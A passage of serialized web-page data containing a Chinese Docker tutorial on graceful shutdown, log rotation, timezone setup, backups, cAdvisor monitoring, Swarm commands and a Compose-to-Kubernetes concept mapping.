-c"," 执行，症状一致。",[11,58588,58589],{},"三种解法：",[308,58591,58593],{"className":15575,"code":58592,"language":15577,"meta":314,"style":314},"CMD [\"node\", \"app.js\"]                 # ① exec 形式：node 就是 PID 1\nENTRYPOINT [\"tini\", \"--\"]              # ② 装 tini（或直接 --init）\nCMD [\"node\", \"src\u002Fserver.js\"]\n",[22,58594,58595,58600,58605],{"__ignoreMap":314},[331,58596,58597],{"class":333,"line":334},[331,58598,58599],{},"CMD [\"node\", \"app.js\"]                 # ① exec 形式：node 就是 PID 1\n",[331,58601,58602],{"class":333,"line":341},[331,58603,58604],{},"ENTRYPOINT [\"tini\", \"--\"]              # ② 装 tini（或直接 --init）\n",[331,58606,58607],{"class":333,"line":357},[331,58608,48187],{},[308,58610,58612],{"className":3902,"code":58611,"language":3904,"meta":314,"style":314},"docker run -d --init --stop-timeout 30 shop-api:1.8.3    # ③ --init 由 Docker 注入 tini\n",[22,58613,58614],{"__ignoreMap":314},[331,58615,58616,58618,58620,58622,58625,58628,58631,58633],{"class":333,"line":334},[331,58617,36862],{"class":501},[331,58619,5020],{"class":365},[331,58621,36867],{"class":344},[331,58623,58624],{"class":344}," --init",[331,58626,58627],{"class":344}," --stop-timeout",[331,58629,58630],{"class":344}," 30",[331,58632,48258],{"class":365},[331,58634,58635],{"class":1003},"    # ③ --init 由 Docker 注入 tini\n",[1773,58637,58638,58653,58667],{},[1662,58639,58640,58641,58644,58645,58648,58649,58652],{},"exec 形式最省事，但要求应用自己处理 SIGTERM（Node：",[22,58642,58643],{},"process.on('SIGTERM', …)","；Python：",[22,58646,58647],{},"signal.signal","；Go：",[22,58650,58651],{},"signal.NotifyContext","；Java：ShutdownHook）。",[1662,58654,58655,1901,58657,58660,58661,58664,58665,4813],{},[22,58656,49640],{},[22,58658,58659],{},"tini"," 除了转发信号还负责收尸（僵尸进程），是",[17,58662,58663],{},"通用建议默认开","的选项（第十二章 ",[22,58666,55503],{},[1662,58668,58669,58670,58672,58673,26877,58676,58678],{},"若一定要在 CMD 里做变量替换，用 ",[22,58671,49225],{}," 内联替换当前 shell：",[22,58674,58675],{},"CMD [\"sh\",\"-c\",\"exec node $ENTRY_FILE\"]",[22,58677,49225],{}," 让 node 顶替 sh 成为 PID 1。",[11,58680,58681,58682,58684,58685,5664,58688,655,58691,58694,58695,58697,58698,58701],{},"验证是否真的收到信号：",[22,58683,58348],{}," 时看日志有没有你的 graceful-shutdown 行，以及 ",[22,58686,58687],{},"docker inspect --format '{{.State.ExitCode}}'",[22,58689,58690],{},"143",[22,58692,58693],{},"137","（没处理）还是 ",[22,58696,628],{},"（处理了）。示例 16 把这套对比做成终端演示：同一个镜像，shell 形式 CMD 与 exec 形式 CMD 在 ",[22,58699,58700],{},"docker stop -t 15"," 下的不同结局。",[4748,58703],{"height":42104,"src":58704,"title":58705},"\u002Ftutorials\u002Fdocker\u002Fdemos\u002F16-graceful-stop.html","示例 16：优雅停机——信号到不到 PID 1",[53,58707,58709],{"id":58708},"日志json-file-的轮转必须设","日志：json-file 的轮转必须设",[11,58711,58712,58713,58715,58716,58719,58720,58723,58724,58727],{},"默认 ",[22,58714,55050],{}," 驱动",[17,58717,58718],{},"不限制大小","：一台机器跑三个月，",[22,58721,58722],{},"\u002Fvar\u002Flib\u002Fdocker\u002Fcontainers\u002F\u003Cid>\u002F\u003Cid>-json.log"," 能长到几十 GB，把磁盘写满（第十八章的 ",[22,58725,58726],{},"no space left on device"," 一大半是这个）。",[308,58729,58731],{"className":325,"code":58730,"language":327,"meta":314,"style":314},"{ \"log-driver\": \"json-file\", \"log-opts\": { \"max-size\": \"20m\", \"max-file\": \"3\", \"compress\": \"true\" } }\n",[22,58732,58733],{"__ignoreMap":314},[331,58734,58735,58737,58740,58742,58744,58746,58749,58751,58753,58755,58757,58759,58761,58763,58765,58767,58770,58772,58774],{"class":333,"line":334},[331,58736,32348],{"class":337},[331,58738,58739],{"class":344},"\"log-driver\"",[331,58741,348],{"class":337},[331,58743,53059],{"class":365},[331,58745,409],{"class":337},[331,58747,58748],{"class":344},"\"log-opts\"",[331,58750,32367],{"class":337},[331,58752,53071],{"class":344},[331,58754,348],{"class":337},[331,58756,53076],{"class":365},[331,58758,409],{"class":337},[331,58760,53081],{"class":344},[331,58762,348],{"class":337},[331,58764,53086],{"class":365},[331,58766,409],{"class":337},[331,58768,58769],{"class":344},"\"compress\"",[331,58771,348],{"class":337},[331,58773,53603],{"class":365},[331,58775,11466],{"class":337},[11,58777,58778,58779,58781,58782,58784,58785,58788,58789,161],{},"写进 ",[22,58780,52887],{}," 是全局兜底；单个服务在 Compose 里写 ",[22,58783,55621],{},"（第十二章）。改完只影响",[17,58786,58787],{},"之后创建的容器","，已有容器要 ",[22,58790,58791],{},"docker compose up -d --force-recreate",[11,58793,58794,58795,4839,58798,58801,58802,58805,58806,58809,58810,58813,58814,58817,58818,58820,58821,5160,58824,58826,58827,4813],{},"其他驱动与取舍：",[22,58796,58797],{},"syslog",[22,58799,58800],{},"--log-opt syslog-address=udp:\u002F\u002F10.0.0.7:514 --log-opt tag={{.Name}}","，走集中式，注意 UDP 会丢）、",[22,58803,58804],{},"journald","（能 ",[22,58807,58808],{},"journalctl -u docker"," 一起看）、",[22,58811,58812],{},"local","（Docker 自带的轻量二进制日志，daemon 重启不丢，但生态工具读不了）、",[22,58815,58816],{},"fluentd","（采集侧最常用，配合 Fluent Bit 直接读 json-file 也行）、",[22,58819,50866],{},"（一次性任务用）。采集侧的通用做法：Agent 以 DaemonSet\u002Fsidecar 方式挂 ",[22,58822,58823],{},"\u002Fvar\u002Flib\u002Fdocker\u002Fcontainers:ro",[22,58825,46157],{},"，按 label 打标（第六章 ",[22,58828,58829],{},"--label",[53,58831,58833],{"id":58832},"时区locale-与镜像版本固定","时区、locale 与镜像版本固定",[308,58835,58837],{"className":15575,"code":58836,"language":15577,"meta":314,"style":314},"FROM node:22-bookworm-slim\nENV TZ=Asia\u002FShanghai\nRUN apt-get update && apt-get install -y --no-install-recommends tzdata && rm -rf \u002Fvar\u002Flib\u002Fapt\u002Flists\u002F*\n",[22,58838,58839,58843,58848],{"__ignoreMap":314},[331,58840,58841],{"class":333,"line":334},[331,58842,48144],{},[331,58844,58845],{"class":333,"line":341},[331,58846,58847],{},"ENV TZ=Asia\u002FShanghai\n",[331,58849,58850],{"class":333,"line":357},[331,58851,58852],{},"RUN apt-get update && apt-get install -y --no-install-recommends tzdata && rm -rf \u002Fvar\u002Flib\u002Fapt\u002Flists\u002F*\n",[11,58854,58855,58857,58858,49310,58861,58863,58864,58867,58868,5160,58871,58874,58875,58878,58879,58882],{},[22,58856,47787],{}," 环境变量在 glibc\u002Fmusl 上都生效，但",[17,58859,58860],{},"镜像里必须有 tzdata",[22,58862,47787],{}," 无效退化成 UTC（alpine 要 ",[22,58865,58866],{},"apk add tzdata","）。更稳的做法是把宿主 ",[22,58869,58870],{},"\u002Fetc\u002Flocaltime",[22,58872,58873],{},"\u002Fusr\u002Fshare\u002Fzoneinfo"," 只读挂进去。日志时间戳与数据库时区不一致，九成是这个原因。locale 上 slim\u002Falpine 默认 ",[22,58876,58877],{},"C.UTF-8","，够 JSON 与 ASCII 用；要中文排序\u002F",[22,58880,58881],{},"strcoll"," 才需要生成 locale（或换 Debian 完整版）——别为了一个报错在镜像里装全套语言包。",[11,58884,58885,58886,18878,58889,58891],{},"版本固定与回滚的思路（第十章的 tag 语义在这里落地）：部署清单里记 ",[17,58887,58888],{},"digest",[22,58890,54600],{}," 前先拉新再切；单机土法滚动：",[308,58893,58895],{"className":3902,"code":58894,"language":3904,"meta":314,"style":314},"docker compose -f compose.yaml -f compose.prod.yaml up -d --no-recreate api   # 新 api 起在 8081\ndocker inspect --format '{{.State.Health.Status}}' shop-api-2                  # 等 healthy\ndocker exec shop-web nginx -s reload                                          # 上游切到新实例\ndocker stop shop-api && docker rm shop-api\n",[22,58896,58897,58923,58939,58958],{"__ignoreMap":314},[331,58898,58899,58901,58903,58905,58907,58909,58911,58913,58915,58918,58920],{"class":333,"line":334},[331,58900,36862],{"class":501},[331,58902,53321],{"class":365},[331,58904,43839],{"class":344},[331,58906,54834],{"class":365},[331,58908,43839],{"class":344},[331,58910,54839],{"class":365},[331,58912,53336],{"class":365},[331,58914,36867],{"class":344},[331,58916,58917],{"class":344}," --no-recreate",[331,58919,51095],{"class":365},[331,58921,58922],{"class":1003},"   # 新 api 起在 8081\n",[331,58924,58925,58927,58929,58931,58933,58936],{"class":333,"line":341},[331,58926,36862],{"class":501},[331,58928,48875],{"class":365},[331,58930,50255],{"class":344},[331,58932,58460],{"class":365},[331,58934,58935],{"class":365}," shop-api-2",[331,58937,58938],{"class":1003},"                  # 等 healthy\n",[331,58940,58941,58943,58945,58947,58950,58952,58955],{"class":333,"line":357},[331,58942,36862],{"class":501},[331,58944,50113],{"class":365},[331,58946,49096],{"class":365},[331,58948,58949],{"class":365}," nginx",[331,58951,15978],{"class":344},[331,58953,58954],{"class":365}," reload",[331,58956,58957],{"class":1003},"                                          # 上游切到新实例\n",[331,58959,58960,58962,58964,58966,58968,58970,58972],{"class":333,"line":371},[331,58961,36862],{"class":501},[331,58963,21961],{"class":365},[331,58965,49945],{"class":365},[331,58967,34829],{"class":337},[331,58969,36862],{"class":501},[331,58971,46759],{"class":365},[331,58973,57111],{"class":365},[11,58975,58976,58977,58979,58980,58983,58984,58986],{},"回滚就是把旧 digest 再 ",[22,58978,53308],{}," 一次——前提是",[17,58981,58982],{},"镜像还留着、且数据库迁移是向后兼容的","（迁移脚本要能回滚或双写，这是应用层设计，Docker 帮不了你）。蓝绿在单机 Docker 下的实质就是「两套端口 + 反代切换」，别指望 ",[22,58985,58326],{}," 帮你做发布。",[53,58988,58989],{"id":58989},"备份与监控",[11,58991,58992],{},"单机备份三件套，缺一不可：",[308,58994,58996],{"className":3902,"code":58995,"language":3904,"meta":314,"style":314},"tar czf \u002Fbackup\u002Fshop-${DATE}.tar.gz -C \u002Fsrv\u002Fshop compose.yaml compose.prod.yaml config nginx secrets\u002Fdb_password.txt\ndocker run --rm --volumes-from shop-db -v \u002Fbackup:\u002Fbackup alpine tar czf \u002Fbackup\u002Fdb-${DATE}.tar.gz \u002Fvar\u002Flib\u002Fpostgresql\u002Fdata\ndocker save ghcr.io\u002Fexample\u002Fshop-api:1.8.3 | gzip > \u002Fbackup\u002Fshop-api-1.8.3.tar.gz\n",[22,58997,58998,59029,59062],{"__ignoreMap":314},[331,58999,59000,59003,59005,59008,59011,59014,59016,59018,59020,59022,59024,59026],{"class":333,"line":334},[331,59001,59002],{"class":501},"tar",[331,59004,52011],{"class":365},[331,59006,59007],{"class":365}," \u002Fbackup\u002Fshop-",[331,59009,59010],{"class":337},"${DATE}",[331,59012,59013],{"class":365},".tar.gz",[331,59015,52017],{"class":344},[331,59017,46837],{"class":365},[331,59019,54834],{"class":365},[331,59021,54839],{"class":365},[331,59023,14596],{"class":365},[331,59025,58949],{"class":365},[331,59027,59028],{"class":365}," secrets\u002Fdb_password.txt\n",[331,59030,59031,59033,59035,59037,59039,59041,59043,59046,59048,59050,59052,59055,59057,59059],{"class":333,"line":341},[331,59032,36862],{"class":501},[331,59034,5020],{"class":365},[331,59036,48890],{"class":344},[331,59038,51985],{"class":344},[331,59040,51133],{"class":365},[331,59042,51745],{"class":344},[331,59044,59045],{"class":365}," \u002Fbackup:\u002Fbackup",[331,59047,52001],{"class":365},[331,59049,52168],{"class":365},[331,59051,52011],{"class":365},[331,59053,59054],{"class":365}," \u002Fbackup\u002Fdb-",[331,59056,59010],{"class":337},[331,59058,59013],{"class":365},[331,59060,59061],{"class":365}," \u002Fvar\u002Flib\u002Fpostgresql\u002Fdata\n",[331,59063,59064,59066,59068,59070,59072,59075,59077],{"class":333,"line":357},[331,59065,36862],{"class":501},[331,59067,33769],{"class":365},[331,59069,48233],{"class":365},[331,59071,15984],{"class":616},[331,59073,59074],{"class":501}," gzip",[331,59076,56464],{"class":616},[331,59078,59079],{"class":365}," \u002Fbackup\u002Fshop-api-1.8.3.tar.gz\n",[11,59081,59082,59083,59085,59086,59088],{},"配置（文本，进 git 或对象存储）+ 数据（卷，",[22,59084,37819],{}," 优先于文件级）+ 镜像（tar，保证能重建当时的运行态）。恢复演练比备份本身重要：季度性地在一台干净机器上「只用备份」把站起回来（第十章的 ",[22,59087,47084],{}," 在这里用）。",[11,59090,59091,59092,59094,59095,322],{},"监控侧：",[22,59093,45986],{}," 是即时快照、无历史、无告警（第十四章），单机最小方案是 ",[17,59096,59097],{},"cAdvisor（容器指标）+ node_exporter（宿主）+ Prometheus + Grafana",[308,59099,59101],{"className":3902,"code":59100,"language":3904,"meta":314,"style":314},"docker run -d --name cadvisor --restart unless-stopped \\\n  --volume=\u002F:\u002Frootfs:ro --volume=\u002Fvar\u002Frun:\u002Fvar\u002Frun:ro \\\n  --volume=\u002Fsys:\u002Fsys:ro --volume=\u002Fvar\u002Flib\u002Fdocker\u002F:\u002Fvar\u002Flib\u002Fdocker:ro \\\n  --publish 127.0.0.1:8081:8080 --detach=true gcr.io\u002Fcadvisor\u002Fcadvisor:v0.49.1\n",[22,59102,59103,59122,59132,59142],{"__ignoreMap":314},[331,59104,59105,59107,59109,59111,59113,59116,59118,59120],{"class":333,"line":334},[331,59106,36862],{"class":501},[331,59108,5020],{"class":365},[331,59110,36867],{"class":344},[331,59112,36870],{"class":344},[331,59114,59115],{"class":365}," cadvisor",[331,59117,52828],{"class":344},[331,59119,52831],{"class":365},[331,59121,36876],{"class":344},[331,59123,59124,59127,59130],{"class":333,"line":341},[331,59125,59126],{"class":344},"  --volume=\u002F:\u002Frootfs:ro",[331,59128,59129],{"class":344}," --volume=\u002Fvar\u002Frun:\u002Fvar\u002Frun:ro",[331,59131,36876],{"class":344},[331,59133,59134,59137,59140],{"class":333,"line":357},[331,59135,59136],{"class":344},"  --volume=\u002Fsys:\u002Fsys:ro",[331,59138,59139],{"class":344}," --volume=\u002Fvar\u002Flib\u002Fdocker\u002F:\u002Fvar\u002Flib\u002Fdocker:ro",[331,59141,36876],{"class":344},[331,59143,59144,59147,59150,59153],{"class":333,"line":371},[331,59145,59146],{"class":344},"  --publish",[331,59148,59149],{"class":365}," 127.0.0.1:8081:8080",[331,59151,59152],{"class":344}," --detach=true",[331,59154,59155],{"class":365}," gcr.io\u002Fcadvisor\u002Fcadvisor:v0.49.1\n",[11,59157,59158,59159,272,59162,59164,59165,59167,59168,59171,59172,59174,59175,59177],{},"cAdvisor 需要看到宿主的 ",[22,59160,59161],{},"\u002Fsys",[22,59163,46629],{}," 与 docker socket——这正好是上面「挂 socket 等于交出 root」的现实权衡：监控系统要有边界（只绑回环、单独网络、",[22,59166,50061],{}," 应用不到它但 ",[22,59169,59170],{},"no-new-privileges"," 要加）。告警至少配三条：容器 OOMKilled 次数、",[22,59173,58435],{}," 状态持续、",[22,59176,46629],{}," 使用率。",[48,59179,59181],{"id":59180},"十七编排与生态compose-的天花板swarm-与-kubernetes","十七、编排与生态：Compose 的天花板、Swarm 与 Kubernetes",[53,59183,59185],{"id":59184},"单机-compose-的天花板在哪","单机 Compose 的天花板在哪",[11,59187,59188],{},"Compose 是「一台机器上的应用描述器」。它的限制不是功能少，而是模型里没有「集群」这个概念：",[57,59190,59191,59204],{},[60,59192,59193],{},[63,59194,59195,59198,59201],{},[66,59196,59197],{},"想做",[66,59199,59200],{},"Compose 单机能做到吗",[66,59202,59203],{},"缺口",[79,59205,59206,59216,59227,59238,59250,59264,59275],{},[63,59207,59208,59211,59213],{},[84,59209,59210],{},"跨机器调度",[84,59212,11700],{},[84,59214,59215],{},"没有节点资源视图与放置逻辑",[63,59217,59218,59221,59224],{},[84,59219,59220],{},"副本自动重分布",[84,59222,59223],{},"✗（机器挂了服务就挂）",[84,59225,59226],{},"无健康重建、无 failover",[63,59228,59229,59232,59235],{},[84,59230,59231],{},"滚动更新与自动回滚",[84,59233,59234],{},"土法（第十六章）",[84,59236,59237],{},"无 rollout 状态机",[63,59239,59240,59243,59245],{},[84,59241,59242],{},"端口冲突（两机同端口）",[84,59244,11700],{},[84,59246,59247,59249],{},[22,59248,53560],{}," 是宿主级的，扩容即冲突",[63,59251,59252,59255,59261],{},[84,59253,59254],{},"密钥加密分发",[84,59256,59257,59258,59260],{},"✗（",[22,59259,53443],{}," driver 落盘）",[84,59262,59263],{},"第十三章那条区别在这里最要命",[63,59265,59266,59269,59272],{},[84,59267,59268],{},"资源配额与优先级",[84,59270,59271],{},"部分（limits）",[84,59273,59274],{},"无抢占、无队列",[63,59276,59277,59280,59283],{},[84,59278,59279],{},"服务发现跨机",[84,59281,59282],{},"靠外部 LB",[84,59284,59285],{},"无内置 VIP\u002F负载均衡",[11,59287,59288,59289,59292],{},"所以判断标准很直接：",[17,59290,59291],{},"一台机器能装下、且你能接受它挂了就手动恢复","，Compose 够；否则要编排。",[53,59294,59296],{"id":59295},"swarm-的最小可用集","Swarm 的最小可用集",[11,59298,59299],{},"Swarm 是 Docker 原生的编排，命令风格与 Compose 连续，上手成本远低于 K8s：",[308,59301,59303],{"className":3902,"code":59302,"language":3904,"meta":314,"style":314},"docker swarm init --advertise-addr 10.0.0.11\ndocker swarm join-token worker          # 拿到 join 命令给其他节点\ndocker node ls\ndocker node update --availability drain node-2        # 下线维护（先迁移副本）\n",[22,59304,59305,59320,59335,59344],{"__ignoreMap":314},[331,59306,59307,59309,59312,59314,59317],{"class":333,"line":334},[331,59308,36862],{"class":501},[331,59310,59311],{"class":365}," swarm",[331,59313,4972],{"class":365},[331,59315,59316],{"class":344}," --advertise-addr",[331,59318,59319],{"class":344}," 10.0.0.11\n",[331,59321,59322,59324,59326,59329,59332],{"class":333,"line":341},[331,59323,36862],{"class":501},[331,59325,59311],{"class":365},[331,59327,59328],{"class":365}," join-token",[331,59330,59331],{"class":365}," worker",[331,59333,59334],{"class":1003},"          # 拿到 join 命令给其他节点\n",[331,59336,59337,59339,59341],{"class":333,"line":357},[331,59338,36862],{"class":501},[331,59340,15569],{"class":365},[331,59342,59343],{"class":365}," ls\n",[331,59345,59346,59348,59350,59353,59356,59359,59362],{"class":333,"line":371},[331,59347,36862],{"class":501},[331,59349,15569],{"class":365},[331,59351,59352],{"class":365}," update",[331,59354,59355],{"class":344}," --availability",[331,59357,59358],{"class":365}," drain",[331,59360,59361],{"class":365}," node-2",[331,59363,59364],{"class":1003},"        # 下线维护（先迁移副本）\n",[308,59366,59368],{"className":3902,"code":59367,"language":3904,"meta":314,"style":314},"docker network create --driver overlay --attachable shop-net\ndocker secret create db_password .\u002Fsecrets\u002Fdb_password.txt\ndocker service create --name shop-api --replicas 3 -p 8080:3000 \\\n  --network shop-net --mount type=volume,source=uploads,target=\u002Fsrv\u002Fshop\u002Fuploads \\\n  --limit-cpu 1 --limit-memory 512M --update-parallelism 1 --update-delay 10s \\\n  --constraint node.labels.zone==cn-east-a \\\n  ghcr.io\u002Fexample\u002Fshop-api:1.8.3@sha256:9c1f0ea7b2d4\n\ndocker service scale shop-api=6\ndocker service update --image ghcr.io\u002Fexample\u002Fshop-api:1.9.0 shop-api\ndocker service ps shop-api --no-trunc           # 每个副本在哪台、为什么失败\ndocker service logs -f shop-api\ndocker service inspect shop-api --pretty\n",[22,59369,59370,59388,59403,59429,59443,59469,59479,59484,59488,59502,59518,59534,59546],{"__ignoreMap":314},[331,59371,59372,59374,59376,59378,59380,59383,59386],{"class":333,"line":334},[331,59373,36862],{"class":501},[331,59375,50991],{"class":365},[331,59377,3919],{"class":365},[331,59379,48860],{"class":344},[331,59381,59382],{"class":365}," overlay",[331,59384,59385],{"class":344}," --attachable",[331,59387,51013],{"class":365},[331,59389,59390,59392,59395,59397,59400],{"class":333,"line":341},[331,59391,36862],{"class":501},[331,59393,59394],{"class":365}," secret",[331,59396,3919],{"class":365},[331,59398,59399],{"class":365}," db_password",[331,59401,59402],{"class":365}," .\u002Fsecrets\u002Fdb_password.txt\n",[331,59404,59405,59407,59410,59412,59414,59416,59419,59422,59424,59427],{"class":333,"line":357},[331,59406,36862],{"class":501},[331,59408,59409],{"class":365}," service",[331,59411,3919],{"class":365},[331,59413,36870],{"class":344},[331,59415,49945],{"class":365},[331,59417,59418],{"class":344}," --replicas",[331,59420,59421],{"class":344}," 3",[331,59423,36941],{"class":344},[331,59425,59426],{"class":365}," 8080:3000",[331,59428,36876],{"class":344},[331,59430,59431,59434,59436,59438,59441],{"class":333,"line":371},[331,59432,59433],{"class":344},"  --network",[331,59435,51025],{"class":365},[331,59437,51766],{"class":344},[331,59439,59440],{"class":365}," type=volume,source=uploads,target=\u002Fsrv\u002Fshop\u002Fuploads",[331,59442,36876],{"class":344},[331,59444,59445,59448,59450,59453,59456,59459,59461,59464,59467],{"class":333,"line":384},[331,59446,59447],{"class":344},"  --limit-cpu",[331,59449,30777],{"class":344},[331,59451,59452],{"class":344}," --limit-memory",[331,59454,59455],{"class":365}," 512M",[331,59457,59458],{"class":344}," --update-parallelism",[331,59460,30777],{"class":344},[331,59462,59463],{"class":344}," --update-delay",[331,59465,59466],{"class":365}," 10s",[331,59468,36876],{"class":344},[331,59470,59471,59474,59477],{"class":333,"line":397},[331,59472,59473],{"class":344},"  --constraint",[331,59475,59476],{"class":365}," node.labels.zone==cn-east-a",[331,59478,36876],{"class":344},[331,59480,59481],{"class":333,"line":418},[331,59482,59483],{"class":365},"  ghcr.io\u002Fexample\u002Fshop-api:1.8.3@sha256:9c1f0ea7b2d4\n",[331,59485,59486],{"class":333,"line":427},[331,59487,998],{"emptyLinePlaceholder":997},[331,59489,59490,59492,59494,59496,59499],{"class":333,"line":439},[331,59491,36862],{"class":501},[331,59493,59409],{"class":365},[331,59495,54471],{"class":365},[331,59497,59498],{"class":365}," shop-api=",[331,59500,59501],{"class":344},"6\n",[331,59503,59504,59506,59508,59510,59513,59516],{"class":333,"line":450},[331,59505,36862],{"class":501},[331,59507,59409],{"class":365},[331,59509,59352],{"class":365},[331,59511,59512],{"class":344}," --image",[331,59514,59515],{"class":365}," ghcr.io\u002Fexample\u002Fshop-api:1.9.0",[331,59517,57111],{"class":365},[331,59519,59520,59522,59524,59526,59528,59531],{"class":333,"line":456},[331,59521,36862],{"class":501},[331,59523,59409],{"class":365},[331,59525,50297],{"class":365},[331,59527,49945],{"class":365},[331,59529,59530],{"class":344}," --no-trunc",[331,59532,59533],{"class":1003},"           # 每个副本在哪台、为什么失败\n",[331,59535,59536,59538,59540,59542,59544],{"class":333,"line":775},[331,59537,36862],{"class":501},[331,59539,59409],{"class":365},[331,59541,49928],{"class":365},[331,59543,43839],{"class":344},[331,59545,57111],{"class":365},[331,59547,59548,59550,59552,59554,59556],{"class":333,"line":785},[331,59549,36862],{"class":501},[331,59551,59409],{"class":365},[331,59553,48875],{"class":365},[331,59555,49945],{"class":365},[331,59557,59558],{"class":344}," --pretty\n",[11,59560,29078,59561,59564,59565,655,59568,655,59571,59574,59575,4839,59578,59581,59582,655,59585,59588],{},[22,59562,59563],{},"service"," 而不是容器——你要的是「期望 3 个副本」，不是「起 3 个容器」；滚动更新由 ",[22,59566,59567],{},"--update-parallelism",[22,59569,59570],{},"--update-delay",[22,59572,59573],{},"--update-failure-action rollback"," 三个参数决定；",[22,59576,59577],{},"--constraint",[22,59579,59580],{},"node.labels.*","）做放置约束，",[22,59583,59584],{},"--limit-cpu",[22,59586,59587],{},"--limit-memory"," 让调度器算得准。",[11,59590,59591,59592,59594,59595,59597],{},"overlay 网络的 ",[22,59593,51172],{}," 是让单机 ",[22,59596,46150],{}," 也能加入这个网络（不加则只有 service 能进），排障时非常需要。stack 则是「把 Compose 文件部署成 Swarm 服务」：",[308,59599,59601],{"className":3902,"code":59600,"language":3904,"meta":314,"style":314},"docker stack deploy -c compose.yaml -c compose.prod.yaml shop\ndocker stack services shop\ndocker stack rm shop\n",[22,59602,59603,59623,59634],{"__ignoreMap":314},[331,59604,59605,59607,59610,59613,59615,59617,59619,59621],{"class":333,"line":334},[331,59606,36862],{"class":501},[331,59608,59609],{"class":365}," stack",[331,59611,59612],{"class":365}," deploy",[331,59614,15990],{"class":344},[331,59616,54834],{"class":365},[331,59618,15990],{"class":344},[331,59620,54839],{"class":365},[331,59622,36955],{"class":365},[331,59624,59625,59627,59629,59632],{"class":333,"line":341},[331,59626,36862],{"class":501},[331,59628,59609],{"class":365},[331,59630,59631],{"class":365}," services",[331,59633,36955],{"class":365},[331,59635,59636,59638,59640,59642],{"class":333,"line":357},[331,59637,36862],{"class":501},[331,59639,59609],{"class":365},[331,59641,46759],{"class":365},[331,59643,36955],{"class":365},[11,59645,59646,59649,59650,59654,59655,59657,59658,655,59660,655,59663,59665,59666,59668],{},[22,59647,59648],{},"stack deploy"," 只支持 Compose 规范的一个子集：",[17,59651,59652,47633],{},[22,59653,15760],{},"（镜像必须先在 registry）、",[22,59656,53560],{}," 只能用目标模式、",[22,59659,53737],{},[22,59661,59662],{},"volumes_from",[22,59664,53727],{}," 不支持、",[22,59667,53647],{}," 被忽略（服务是无顺序的集合）。这几条限制解释了为什么生产上「Compose 文件不等于 Swarm 文件」，需要单独维护。",[53,59670,59672],{"id":59671},"kubernetes-与-docker-的关系dockershim-为什么被移除","Kubernetes 与 Docker 的关系：dockershim 为什么被移除",[11,59674,59675,59676,59679],{},"时间线：K8s 需要一个能「按 CRI 接口管理容器生命周期」的运行时。Docker Engine 不实现 CRI，于是社区写了 ",[17,59677,59678],{},"dockershim","（kubelet 里的翻译层，把 CRI 调用转成 Docker API）。因为维护成本高、行为与 Docker 强耦合，K8s 1.24 起把它从 kubelet 移除。",[11,59681,59682],{},"三个常被误解的事实：",[1773,59684,59685,59697,59707],{},[1662,59686,59687,59690,59691,655,59693,59696],{},[17,59688,59689],{},"不是「K8s 不支持 Docker 了」","。Docker 构建的镜像是标准 OCI 镜像，K8s 照样跑；",[22,59692,47094],{},[22,59694,59695],{},"docker compose","（本地开发）继续可用。",[1662,59698,59699,59700,59702,59703,59706],{},"K8s 用的是 ",[17,59701,46164],{},"（正是第一章架构图里 Docker 下面的那一层，第二章）或 ",[17,59704,59705],{},"CRI-O","——Docker 自己也是通过 containerd 跑容器，移除的只是最上面那层 shim。",[1662,59708,59709,59710,59712,59713,59715,59716,59719,59720,59723,59724,655,59727,59730,59731,59734,59735,59738],{},"生态定位：",[17,59711,46164],{}," 是库\u002F守护进程（被 Docker、K8s、Singularity 复用）；",[17,59714,59705],{}," 是专为 K8s 实现的轻量 CRI 运行时；",[17,59717,59718],{},"Podman"," 是无 daemon、可 rootless、CLI 与 Docker 兼容的替代（",[22,59721,59722],{},"alias docker=podman"," 通常就能用，",[22,59725,59726],{},"podman compose",[22,59728,59729],{},"podman play kube"," 走 Compose\u002FK8s 文件）；",[17,59732,59733],{},"nerdctl"," 是 containerd 的 Docker 兼容 CLI，常用于 ",[22,59736,59737],{},"buildx"," 风格的本地构建。",[11,59740,59741],{},"概念对照表（迁移时最有用的东西）：",[57,59743,59744,59756],{},[60,59745,59746],{},[63,59747,59748,59751,59754],{},[66,59749,59750],{},"Compose",[66,59752,59753],{},"Kubernetes",[66,59755,22374],{},[79,59757,59758,59771,59788,59802,59815,59825,59839,59857,59871,59883,59896,59907],{},[63,59759,59760,59765,59768],{},[84,59761,59762,59764],{},[22,59763,53355],{}," 的一个服务",[84,59766,59767],{},"Deployment（+ ReplicaSet + Pod）",[84,59769,59770],{},"K8s 的最小单元是 Pod（可多容器共享 net\u002FIPC，对应「sidecar」）",[63,59772,59773,59779,59782],{},[84,59774,59775,1901,59777],{},[22,59776,53560],{},[22,59778,48008],{},[84,59780,59781],{},"Service（ClusterIP\u002FNodePort\u002FLoadBalancer）+ Ingress\u002FGateway",[84,59783,59784,59785],{},"名字即 DNS，跨命名空间用 ",[22,59786,59787],{},"svc.ns.svc.cluster.local",[63,59789,59790,59794,59797],{},[84,59791,59792],{},[22,59793,53383],{},[84,59795,59796],{},"Namespace + NetworkPolicy",[84,59798,59799,59800,5149],{},"默认全通，靠 NetworkPolicy 收紧（对应第十二章的 ",[22,59801,15788],{},[63,59803,59804,59809,59812],{},[84,59805,59806,59808],{},[22,59807,53409],{}," 命名卷",[84,59810,59811],{},"PV \u002F PVC + StorageClass",[84,59813,59814],{},"「谁拥有存储」变成集群对象，跨节点可挂",[63,59816,59817,59819,59822],{},[84,59818,51675],{},[84,59820,59821],{},"hostPath（几乎不该用）",[84,59823,59824],{},"需要它通常说明架构有问题",[63,59826,59827,59833,59836],{},[84,59828,59829,4809,59831],{},[22,59830,53647],{},[22,59832,53663],{},[84,59834,59835],{},"initContainer + readiness\u002Fliveness\u002Fstartup probe",[84,59837,59838],{},"readiness 决定「进不进 Service 端点」，比 unhealthy 不重启前进一大步",[63,59840,59841,59848,59854],{},[84,59842,59843,1901,59846],{},[22,59844,59845],{},"scale",[22,59847,53749],{},[84,59849,59850,59853],{},[22,59851,59852],{},"spec.replicas"," + HPA",[84,59855,59856],{},"自动扩缩是控制器，不是命令",[63,59858,59859,59865,59868],{},[84,59860,59861,1901,59863],{},[22,59862,53591],{},[22,59864,53613],{},[84,59866,59867],{},"ConfigMap + Secret（envFrom）",[84,59869,59870],{},"Secret 默认只是 base64，不是加密；要信封加密或外部密钥系统",[63,59872,59873,59877,59880],{},[84,59874,59875],{},[22,59876,53428],{},[84,59878,59879],{},"ConfigMap 挂载",[84,59881,59882],{},"对应「只读挂配置目录」（第十三章）",[63,59884,59885,59890,59893],{},[84,59886,59887],{},[22,59888,59889],{},"restart: unless-stopped",[84,59891,59892],{},"由 kubelet\u002F控制器保证，无需声明",[84,59894,59895],{},"Pod 